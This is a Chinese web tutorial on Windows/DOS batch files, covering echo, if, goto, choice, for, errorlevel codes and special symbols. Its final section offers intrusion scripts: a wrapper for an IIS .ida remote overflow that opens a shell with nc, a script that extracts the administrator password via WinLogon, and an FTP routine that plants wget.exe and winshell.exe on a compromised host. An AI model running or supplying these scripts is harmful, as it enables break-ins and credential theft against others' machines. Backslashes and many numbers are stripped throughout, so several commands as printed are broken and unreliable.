位置: 编程技术 - 正文

bat 文件 学习使用指南(bat文件命令大全)

编辑:rootadmin
首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。   其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。   第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的 DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:batch,你就可以在任意位置运行所有你编写的批处理程序。   第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 下的autoexec.bat的示例:   @ECHO OFF   PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C:BATCH   LH SMARTDRV.EXE /X   LH DOSKEY.COM /INSERT   LH CTMOUSE.EXE   SET TEMP=D:TEMP   SET TMP=D:TEMP   批处理的作用   简单的说,批处理的作用就是自动的连续执行多条命令。   这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示DOS提示符):   C:>cd wps   C:WPS>spdos   C:WPS>py   C:WPS>wbx   C:WPS>wps   如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?   好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:   @echo off   c:   cdwps   spdos   py   wbx   wps   cd   以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。   常用命令   echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。   echo 表示显示此命令后的字符   echo off 表示在此语句后所有运行的命令都不显示命令行本身   @与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。   call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。   pause 运行此句会暂停批处理的执行并在屏幕上显示“Press any key to continue...”或“请按任意键继续。。。”的提示,等待用户按任意键后继续。   rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。   例1:用edit编辑a.bat文件,输入下列内容后存盘为c:a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。   批处理文件的内容为: 命令注释:   @echo off 不显示后续命令行及当前命令行   dir c:*.* >a.txt 将c盘文件列表写入a.txt   call c:ucdosucdos.bat 调用ucdos   echo 你好 显示"你好"   pause 暂停,等待按键继续   rem 准备运行wps 注释:准备运行wps   cd ucdos 进入ucdos目录   wps 运行wps    批处理文件的参数   批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。   %[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。   例2:C:根目录下有一批处理文件名为f.bat,内容为:   @echo off   format %1   如果执行C:>f a:   那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:   例3:C:根目录下一批处理文件名为t.bat,内容为:   @echo off   type %1   type %2   那么运行C:>t a.txt b.txt   %1 : 表示a.txt   %2 : 表示b.txt   于是上面的命令将顺序地显示a.txt和b.txt文件的内容。   特殊命令   if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。   一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:   1、if [not] "参数" == "字符串" 待执行的命令   参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。   例:if "%1"=="a" format a:   2、if [not] exist [路径]文件名 待执行的命令   如果有指定的文件,则条件成立,运行命令,否则运行下一句。   如: if exist c:config.sys type c:config.sys   表示如果存在c:config.sys文件,则显示它的内容。   3、if errorlevel <数字> 待执行的命令   很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。   如if errorlevel 2 goto x2   二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。   如:   goto end   :end   echo this is the end   标号用“:字符串”来定义,标号所在行不被执行。   三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。   注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。   choice的命令语法(该语法为Windows 中choice命令的语法,其它版本的choice的命令语法与此大同小异):   CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]   描述:   该工具允许用户从选择列表选择一个项目并返回所选项目的索引。   参数列表:   /C choices 指定要创建的选项列表。默认列表是 "YN"。   /N 在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。   /CS 允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。   /T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0 到 。如果指定了 0,就不会有暂停,默认选项   会得到选择。   /D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时,必须用 /T 指定 nnnn。   /M text 指定提示之前要显示的消息。如果没有指定,工具只显示提示。   /? 显示帮助消息。   注意:   ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降序排列。   示例:   CHOICE /?   CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"   CHOICE /T /C ync /CS /D y   CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"   CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"   如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"   屏幕上会显示:   确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?   例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):   @echo off   choice /C dme /M "defrag,mem,end"   if errorlevel 3 goto end   if errorlevel 2 goto mem   if errotlevel 1 goto defrag   :defrag   c:dosdefrag   goto end   :mem   mem   goto end   :end   echo good bye   此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。   四、for 循环命令,只要条件符合,它将多次执行同一命令。   语法:   对一组文件中的每一个文件执行某个特定命令。   FOR %%variable IN (set) DO command [command-parameters]   %%variable 指定一个单一字母可替换的参数。   (set) 指定一个或一组文件。可以使用通配符。   command 指定对每个文件执行的命令。   command-parameters 为特定命令指定参数或命令行开关。   例如一个批处理文件中有一行:   for %%c in (*.bat *.txt) do type %%c   则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。   批处理示例   1. IF-EXIST   1)   首先用记事本在C:建立一个test1.bat批处理文件,文件内容如下:   @echo off   IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT   IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist   然后运行它:   C:>TEST1.BAT   如果C:存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。   2)   接着再建立一个test2.bat文件,内容如下:   @ECHO OFF   IF EXIST %1 TYPE %1   IF NOT EXIST %1 ECHO %1 does not exist   执行:   C:>TEST2 AUTOEXEC.BAT   该命令运行结果同上。   说明:   (1) IF EXIST 是用来测试文件是否存在的,格式为   IF EXIST [路径+文件名] 命令   (2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。   3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:   @echo off   IF "%1" == "A" ECHO XIAO   IF "%2" == "B" ECHO TIAN   IF "%3" == "C" ECHO XIN   如果运行:   C:>TEST3 A B C   屏幕上会显示:   XIAO   TIAN   XIN   如果运行:   C:>TEST3 A B   屏幕上会显示   XIAO   TIAN   在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。   2、IF-ERRORLEVEL   建立TEST4.BAT,内容如下:   @ECHO OFF   XCOPY C:AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败   IF ERRORLEVEL 0 ECHO 成功拷贝文件   然后执行文件:   C:>TEST4   如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。   IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:   @ECHO OFF   XCOPY C:AUTOEXEC.BAT D:   IF ERRORLEVEL 0 ECHO 成功拷贝文件   IF ERRORLEVEL 1 ECHO 未找到拷贝文件   IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作   IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作   IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误   无论拷贝是否成功,后面的:   未找到拷贝文件   用户通过ctrl-c中止拷贝操作   预置错误阻止文件拷贝操作   拷贝过程中写盘错误   都将显示出来。   以下就是几个常用命令的返回值及其代表的意义:   backup   0 备份成功   1 未找到备份文件   2 文件共享冲突阻止备份完成   3 用户用ctrl-c中止备份   4 由于致命的错误使备份操作中止   diskcomp   0 盘比较相同   1 盘比较不同   2 用户通过ctrl-c中止比较操作   3 由于致命的错误使比较操作中止   4 预置错误中止比较   diskcopy   0 盘拷贝操作成功   1 非致命盘读/写错   2 用户通过ctrl-c结束拷贝操作   3 因致命的处理错误使盘拷贝中止   4 预置错误阻止拷贝操作   format   0 格式化成功   3 用户通过ctrl-c中止格式化处理   4 因致命的处理错误使格式化中止   5 在提示“proceed with format(y/n)?”下用户键入n结束   xcopy   0 成功拷贝文件   1 未找到拷贝文件   2 用户通过ctrl-c中止拷贝操作   4 预置错误阻止文件拷贝操作   5 拷贝过程中写盘错误   3、IF STRING1 == STRING2   建立TEST5.BAT,文件内容如下:   @echo off   IF "%1" == "A" formAT A:   执行:   C:>TEST5 A   屏幕上就出现是否将A:盘格式化的内容。   注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。   如:if [%1]==[A] 或者 if %1*==A*   5、GOTO   建立TEST6.BAT,文件内容如下:   @ECHO OFF   IF EXIST C:AUTOEXEC.BAT GOTO _COPY   GOTO _DONE   :_COPY   COPY C:AUTOEXEC.BAT D:   :_DONE   注意:   (1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。   (2) 标号的命名规则与文件名的命名规则相同。   (3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。   6、FOR   建立C:TEST7.BAT,文件内容如下:   @ECHO OFF   FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C   运行:   C:>TEST7   执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。   win命令行方式批处理BAT文件技巧   文章结构   1. 所有内置命令的帮助信息   2. 环境变量的概念   3. 内置的特殊符号(实际使用中间注意避开)   4. 简单批处理文件概念   5. 附件1 tmp.txt   6. 附件2 sample.bat   ###########################   1. 所有内置命令的帮助信息   ###########################   ver   cmd /?   set /?   rem /?   if /?   echo /?   goto /?   for /?   shift /?   call /?   其他需要的常用命令   type /?   find /?   findstr /?   copy /?   下面将所有上面的帮助输出到一个文件   echo ver >tmp.txt   ver >>tmp.txt   echo cmd /? >>tmp.txt   cmd /? >>tmp.txt   echo rem /? >>tmp.txt   rem /? >>tmp.txt   echo if /? >>tmp.txt   if /? >>tmp.txt   echo goto /? >>tmp.txt   goto /? >>tmp.txt   echo for /? >>tmp.txt   for /? >>tmp.txt   echo shift /? >>tmp.txt   shift /? >>tmp.txt   echo call /? >>tmp.txt   call /? >>tmp.txt   echo type /? >>tmp.txt   type /? >>tmp.txt   echo find /? >>tmp.txt   find /? >>tmp.txt   echo findstr /? >>tmp.txt   findstr /? >>tmp.txt   echo copy /? >>tmp.txt   copy /? >>tmp.txt   type tmp.txt   #############################   2. 环境变量的概念   #############################   C:Program Files>set   ALLUSERSPROFILE=C:Documents and SettingsAll Users   CommonProgramFiles=C:Program FilesCommon Files   COMPUTERNAME=FIRST   ComSpec=C:WINNTsystemcmd.exe   NUMBER_OF_PROCESSORS=1   OS=Windows_NT   Os2LibPath=C:WINNTsystemos2dll;   Path=C:WINNTsystem;C:WINNT;C:WINNTsystemWBEM   PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH   PROCESSOR_ARCHITECTURE=x   PROCESSOR_IDENTIFIER=x Family 6 Model 6 Stepping 5, GenuineIntel   PROCESSOR_LEVEL=6   PROCESSOR_REVISION=   ProgramFiles=C:Program Files   PROMPT=$P$G   SystemDrive=C:   SystemRoot=C:WINNT   TEMP=C:WINNTTEMP   TMP=C:WINNTTEMP   USERPROFILE=C:Documents and SettingsDefault User   windir=C:WINNT   path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到   %windir%system. 这个目录里面. 一般就可以自动搜索到.   语法: copy mychenxu.exe %windir%system.   使用点(.) 便于一目了然   对环境变量的引用使用(英文模式,半角)双引号   %windir% 变量   %%windir%% 二次变量引用.   我们常用的还有   %temp% 临时文件目录   %windir% 系统目录   %errorlevel% 退出代码   输出文件到临时文件目录里面.这样便于当前目录整洁.   对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作   C:>dir p*   C: 的目录   -- : 2, PDOS.DEF   -- : <DIR> Program Files   1 个文件 2, 字节   1 个目录 1,,, 可用字节   C:>cd pro*   C:Program Files>   C:>   C:>cd "Program Files"   C:Program Files>   ############################################   3. 内置的特殊符号(实际使用中间注意避开)   ############################################   微软里面内置了下列字符不能够在创建的文件名中间使用   con nul aux / | || && ^ > < *   You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:   (大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)   To create the variable value new&name, type:   set varname=new^&name   To create the variable value "new&name", type:   set varname="new&name"   The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.   find "Pacific Rim" < trade.txt > nwtrade.txt   IF EXIST filename. (del filename.) ELSE echo filename. missing   > 创建一个文件   >> 追加到一个文件后面   @ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示   ^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb   echo ^> aaa   echo > bbb   () 包含命令   (echo aa & echo bb)   , 和空格一样的缺省分隔符号.   ; 注释,表示后面为注释   : 标号作用   | 管道操作   & Usage:第一条命令 & 第二条命令 [& 第三条命令...]   用这种方法可以同时执行多条命令,而不管命令是否执行成功   dir c:*.exe & dir d:*.exe & dir e:*.exe   && Usage:第一条命令 && 第二条命令 [&& 第三条命令...]   当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;   || Usage:第一条命令 || 第二条命令 [|| 第三条命令...]   当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;   常用语法格式   IF [NOT] ERRORLEVEL number command para1 para2   IF [NOT] string1==string2 command para1 para2   IF [NOT] EXIST filename command para1 para2   IF EXIST filename command para1 para2   IF NOT EXIST filename command para1 para2   IF "%1"=="" goto END   IF "%1"=="net" goto NET   IF NOT "%2"=="net" goto OTHER   IF ERRORLEVEL 1 command para1 para2   IF NOT ERRORLEVEL 1 command para1 para2   FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i   FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k   按照字母顺序 ijklmnopq依次取参数.   eol=c - 指一个行注释字符的结尾(就一个)   skip=n - 指在文件开始时忽略的行数。   delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。   ########################   4. 简单批处理文件概念   ########################   echo This is test > a.txt   type a.txt   echo This is test >> a.txt   type a.txt   echo This is test > a.txt   type a.txt   第二个echo是追加   第三个echo将清空a.txt 重新创建 a.txt   netstat -n | find ""   这个将要列出所有连接的用户的ip.   ________________test.bat______   @echo please care   echo plese care   echo plese care   echo plese care   @echo please care   @echo plese care   @echo plese care   @echo plese care   rem 不显示注释语句,本行显示   @rem 不显示注释语句,本行不显示   @if exist %windir%systemfind.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)   @if exist %windir%systemfina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)   _____________________________   下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.   ___________________ida.bat_____   @rem ver 1.0   @if NOT exist %windir%systemidahack.exe echo "ERROR: dont find idahack.exe"   @if NOT exist %windir%systemnc.exe echo "ERROR: dont find nc.exe"   @if "%1" =="" goto USAGE   @if NOT "%2" =="" goto SP2   :start   @echo Now start ...   @ping %1   @echo chinese win2k:1 sp1:2 sp2:3   idahack.exe %1 1 >%temp%_tmp   @echo "prog exit code [%errorlevel%] idahack.exe"   @type %temp%_tmp   @find "good luck :)" %temp%_tmp   @echo "prog exit code [%errorlevel%] find [goog luck]"   @if NOT errorlevel 1 nc.exe %1   @goto END   :SP2   @idahack.exe %1 %2 %temp%_tmp   @type %temp%_tmp   @find "good luck :)" %temp%_tmp   @if NOT errorlevel 1 nc.exe %1   @goto END   :USAGE   @echo Example: ida.bat IP   @echo Example: ida.bat IP (2,3)   :END   _____________________ida.bat__END_______   下面我们再来第二个文件.就是得到administrator的口令.   大多数人说得不到.其实是自己的没有输入正确的信息.   ___________________________fpass.bat____________________________________________   @rem ver 1.0   @if NOT exist %windir%systemfindpass.exe echo "ERROR: dont find findpass.exe"   @if NOT exist %windir%systempulist.exe echo "ERROR: dont find pulist.exe"   @echo start....   @echo ____________________________________   @if "%1"=="" goto USAGE   @findpass.exe %1 %2 %3 >> %temp%_findpass.txt   @echo "prog exit code [%errorlevel%] findpass.exe"   @type %temp%_findpass.txt   @echo ________________________________Here__pass★★★★★★★★   @ipconfig /all >>%temp%_findpass.txt   @goto END   :USAGE   @pulist.exe >%temp%_pass.txt   @findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt   @echo "Example: fpass.bat %1 %2 %3 %4 !!!"   @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"   :END   @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "   @echo " fpass.bat end [%errorlevel%] !"   _________________fpass.bat___END___________________________________________________________   还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)   依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!   echo open ..x.4 >w   echo read>>w   echo read>>w   echo cd winnt>>w   echo binary>>w   echo pwd >>w   echo get wget.exe >>w   echo get winshell.exe >>w   echo get any.exe >>w   echo quit >>w   ftp -s:w

推荐整理分享bat 文件 学习使用指南(bat文件命令大全),希望有所帮助,仅作参考,欢迎阅读内容。

bat 文件 学习使用指南(bat文件命令大全)

文章相关热门搜索词:bat文件用法,.bat文件怎么写,bat文件命令大全,.bat文件怎么写,.bat文件怎么写,bat文件的作用,bat文件命令大全,bat文件用法,内容如对您有帮助,希望把文章链接给更多的朋友!

for 语句从入门到精通 for语句从入门到精通首发地址:

dos 目录跳转 cd 例如,我们打开命令行窗口的时候,一般是这样操作的:在桌面左下角找到开始菜单,打开运行,输入cmd,回车。这个时候,命令行窗口默认的当前目

tree 以树形格式罗列文件 当你向别人展示你自己所做光盘的内容的时候,或者是罗列你硬盘上某个目录下的资料的时候,tree命令显得相当方便,并且能让你展示的内容层次分明

标签: bat文件命令大全

本文链接地址:https://www.jiuchutong.com/biancheng/378438.html 转载请保留说明!

上一篇:批处理 正则表达式(findstr) 整理(正则批量匹配)

下一篇:for 语句从入门到精通(for语句的执行过程图解)

  • 个税一般劳务报酬所得如何申报
  • 以房抵债的房子交房产税吗
  • 一般纳税人的认定时间
  • 老板故意拖欠税款怎么办
  • 残保金滞纳金能抵扣吗
  • 进项税额已抵扣转出会计分录
  • 自产自用应税消费品的消费税,其纳税环节
  • 计提存货跌价准备是递延所得税资产吗
  • 广告费收入是不是非税收入
  • 土地增值税预缴政策
  • 资产折旧纳税
  • 弃置费用预计负债减少超过固定资产账面价值
  • 物业公司收取的电费怎么确认收入
  • 企业相互之间借款合法吗
  • 公司取得政府赔偿款要交增值税吗
  • 金税盘点了没反应
  • 价外费用的会计和税务处理
  • 个体虚开普通发票罪立案标准
  • 进项票入账但是不抵扣怎么做账
  • 无偿提供服务需要交增值税吗
  • 外包食堂需要什么资质
  • sysprep.exe是什么
  • Win7系统Syswow64文件夹是什么及能否删除的相关内
  • 以前年度多计提的附加税怎么调账
  • 尚未支付的货款属于什么会计要素
  • 生产型企业公司有哪些
  • 在建工程变更建设单位
  • 公司股权分红款需要税吗
  • Intel 酷睿i5 8300H
  • 苹果手机密码忘记了怎么重置密码
  • Win10 20H2 LSASS.exe自动重启故障已得到修复
  • 存货周转率公式怎么算
  • 进项税额转出会造成增值税应纳税额
  • emsm是什么意思
  • jquery向下滑动元素
  • 代开专用发票的流程资料要求
  • 工程扣款 甲方账务处理
  • 公立医院增值税抵扣
  • Yii2 rbac权限控制操作步骤实例教程
  • thinkphp框架怎么用
  • 基于Python的图书馆信息管理系统研发
  • 训练集验证集和测试集
  • vue.mixin是什么
  • php is_executable判断给定文件名是否可执行实例
  • 固定资产盘盈为什么计入以前年度损益调整
  • 退预收款需要对方同意吗
  • 材料发出会计科目
  • 清算期间还需要报税吗
  • 研发费用计入科目
  • 图文详解汽车坐垫安装方法
  • 公司购买空调计入什么费用
  • 收到现金股利或债券利息时会计分录怎么做
  • 公司主要产品
  • 年初余额和期末余额对不上怎么办
  • 银行日记账登记依据
  • 用于研发购买的材料进项税额
  • 缴纳工会经费的依据
  • 销项负数发票是红字发票吗
  • 成本费用利润率一般在什么范围
  • 电脑算固定资产哪一类
  • 怎么验证触发器的执行
  • navicat远程连接oracle
  • use crt secure
  • 在windows 7
  • 一劳永逸的方法是什么
  • office进程
  • win7无法保存对权限所作的更改
  • opengl获取鼠标位置
  • ie支持es6
  • ReactNative之FlatList的具体使用方法
  • jquery使用教程
  • nodejs全栈前景
  • unity火球特效
  • jquery按钮点击事件
  • 使用nodejs连接openai超时
  • 使用jquery实现的项目
  • javascript怎么编写
  • 怎么在年报查询个人信息
  • 河南省医保网上报销流程
  • 地方公安局归谁管
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设